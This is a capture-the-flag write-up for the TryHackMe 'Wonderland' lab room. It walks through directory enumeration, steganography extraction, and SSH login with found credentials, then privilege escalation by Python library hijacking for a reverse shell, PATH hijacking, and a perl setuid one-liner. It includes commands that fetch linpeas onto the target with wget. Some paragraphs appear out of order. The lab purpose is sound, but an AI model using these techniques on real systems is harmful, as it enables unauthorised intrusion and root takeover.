TryHackMe - Wonderland
Last updated
Last updated
Let's run Gobuster
On /r we have nothing interesting
On /img there are some images
Let's modify our /etc/hosts and add this 10.10.95.114 wonderland
Now we can use gobuster for subdomain enumeration as well (it does not five anything but it was worth a try)
Let's have a closer look to the images.
First lets take the rabbit one As it is written pretty much everywhere to follow the white rabbit.
It asks for a passphrase but there is no need to enter anything you can just type enter.
And we can see that a hint is embeded in the image, lets extract it steghide --extract -sf white_rabbit_1.jpgsf will specify it is a stego file.
Here is the hint
In our gobuster there was an r directory. So this probably means that r a b b i t is a path that we need to follow
If we look at the code of the last page we get what seems to be user:pass:
Let's try those on the ssh. It works:
If we check the hint for the user.txt it says everything is upside down so I tried to find a file called txt.resu but it was not it, then I realized as we have the root.txt in alice's folder maybe the user.txt is in a the root so I tried a cat /root/user.txt
And it worked!
Let's try to become root
If we sudo -l using alice password, we get htis
If we l0ok at the python script it seems to show 10 of any sentence of the poem randomly
Having the right to this specific file means that this the way to privesc.
So our walrus script uses the library random.py. I modified it like this to get a reverse shell and I launched it as the user rabbit this way: sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
With a shell as rabbit we can now have a look at their home folder and we can see this file called teaParty. If we use file on it we get this result:
If we launch it it ends with a segfault
Let's take a look at it from our attacking machine as we do not have a the strings function in the target machine
we can serve it using http server of python as it is installed in the machine python3.6 -m http.server 8888
When we look at it with strings we see this line:
So date is invoked without using the full path, we could certainly abuse this by putting a file called date and make it do something for us.
Now we serve it from our attacking machine with python and get it in our target
We have to make it executable with chmod +x
And we need to export rabbit's home as our path
There are no specific file that caught our attention and sudo -l does not list anything so let's get linepeas and check out what we could do.
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64 we run this in our attacking machine
We serve it using python server python3 -m http.server 80
We dowload it in our target wget http://10.13.22.56/linpeas_linux_amd64
add it execution right with chmod +x and run it ./linpeas_linux_amd64
We are root and can read our last flag on alice's home!
On /poem we have The Jabberwocky poem
Indeed at each page we get the follow up fo the story http://wonderland/r/a/b/b/i/t/
It seems like we could hijack the python library. I found
And it works we have a shell as rabbit:
And we take it using wget
Let's just make it run bash using /bin/bash
And now we can run our binary! And it works
We are the mad hatter!! If we go to his home directory we get his password WhyIsARavenLikeAWritingDesk? so we can connect as him using ssh:
We have a 95% PE vector:
shows us a way to abuse this I slightly modified the command to use bash instead of sh perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";' and it works!
